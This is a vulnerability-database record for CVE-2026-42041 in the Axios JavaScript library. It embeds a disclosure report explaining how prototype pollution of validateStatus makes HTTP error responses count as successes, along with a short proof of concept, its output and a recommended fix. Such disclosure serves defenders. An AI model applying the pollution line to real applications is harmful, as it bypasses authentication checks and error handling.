{"id":"CVE-2026-42041","aliases":["GHSA-w9j2-pvgh-6h63"],"url":"https://o3.security/vulnerability/CVE-2026-42041","summary":"Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy","details":"# Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.\n\nThe root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript's `in` operator — an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() => true`, all HTTP status codes are accepted as success.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js`\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-287:** Improper Authentication\n\n## CVSS 3.1\n\n**Score: 8.2 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact within the application |\n| Confidentiality | Low | 401 treated as success may expose data behind auth gates |\n| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |\n| Availability | None | The function works correctly (returns true), no crash |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties.\n\n## Why `validateStatus` Is Uniquely Vulnerable\n\nAll other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator:\n\n```javascript\n// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)\nfunction mergeDirectKeys(a, b, prop) {\n  if (prop in config2) {           // ← `in` traverses prototype chain!\n    return getMergedValue(a, b);\n  } else if (prop in config1) {\n    return getMergedValue(undefined, a);\n  }\n}\n\n// mergeConfig.js:94\nconst mergeMap = {\n  // ... all others use defaultToConfig2 ...\n  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy\n};\n```\n\nThe `in` operator is a **more aggressive** prototype traversal than property access. While `config2['validateStatus']` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\n```javascript\nObject.prototype.validateStatus = () => true;\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\n```javascript\n// Application checks authentication via HTTP status codes\ntry {\n  const response = await axios.get('https://api.internal/admin/users');\n  // Developer expects: 401 → catch block → redirect to login\n  // Reality: 401 → treated as success → displays admin data\n  processAdminData(response.data);  // Executes with 401 response body!\n} catch (error) {\n  redirectToLogin();  // NEVER REACHED for 401/403/500\n}\n```\n\n### 3. The Execution\n\n```javascript\n// mergeConfig.js:58 — 'validateStatus' in config2\n// config2 = { url: '/admin/users', method: 'get' }\n// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE\n// → getMergedValue(defaultValidator, () => true) → returns () => true\n\n// settle.js:16 — ALL status codes resolve\nconst validateStatus = response.config.validateStatus;  // () => true\nif (!response.status || !validateStatus || validateStatus(response.status)) {\n  resolve(response);  // 401, 403, 500 all resolve here!\n}\n```\n\n### 4. The Impact\n\n```\nBefore pollution:\n  HTTP 200 → resolve (success)\n  HTTP 401 → reject (auth error) → redirectToLogin()\n  HTTP 403 → reject (forbidden) → showAccessDenied()\n  HTTP 500 → reject (server error) → showErrorPage()\n\nAfter pollution:\n  HTTP 200 → resolve (success)\n  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body\n  HTTP 403 → resolve (SUCCESS!) → application thinks user has access\n  HTTP 500 → resolve (SUCCESS!) → application processes error as data\n```\n\n## Verified PoC Output\n\n```\n--- Before Pollution ---\n401: REJECTED as expected - Request failed with status code 401\n500: REJECTED as expected - Request failed with status code 500\n\n--- After Pollution ---\n200: RESOLVED as success (status: 200)\n301: RESOLVED as success (status: 301)\n401: RESOLVED as success (status: 401)\n403: RESOLVED as success (status: 403)\n404: RESOLVED as success (status: 404)\n500: RESOLVED as success (status: 500)\n503: RESOLVED as success (status: 503)\n\n--- Authentication Bypass Demo ---\nAuth check bypassed! 401 treated as success.\nApplication proceeds with: { status: 401, message: 'Response with status 401' }\n```\n\n## Impact Analysis\n\n- **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.\n- **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.\n- **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.\n- **Universal Scope:** Affects every axios instance in the application, including third-party libraries.\n\n## Recommended Fix\n\nReplace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`:\n\n```javascript\n// FIXED: lib/core/mergeConfig.js\nfunction mergeDirectKeys(a, b, prop) {\n  if (Object.prototype.hasOwnProperty.call(config2, prop)) {\n    return getMergedValue(a, b);\n  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {\n    return getMergedValue(undefined, a);\n  }\n}\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | PoC developed and vulnerability confirmed |\n| 2026-04-16 | Report revised for accuracy |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","published":"2026-04-24T17:55:30.036Z","modified":"2026-09-12T03:30:21.720640402Z","cvss":{"score":4.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"},"epss":{"score":0.00611,"percentile":0.46533,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"axios","fixedVersion":"1.15.1"},{"ecosystem":"npm","name":"axios","fixedVersion":"0.31.1"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42041.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:14937"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16476"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16532"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16534"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16535"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16542"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:16874"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17468"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17474"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17657"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17699"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19109"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20889"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20938"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21017"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21338"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21772"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22465"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22619"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22629"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22840"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:23361"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24536"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24539"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24853"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25041"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25089"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25271"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25273"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26214"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26225"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26232"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:33574"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:36882"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:50300"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-42041"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42041.json"},{"type":"ADVISORY","url":"https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42041"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2461629"},{"type":"PACKAGE","url":"https://github.com/axios/axios"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-12T03:30:21.720640402Z"}}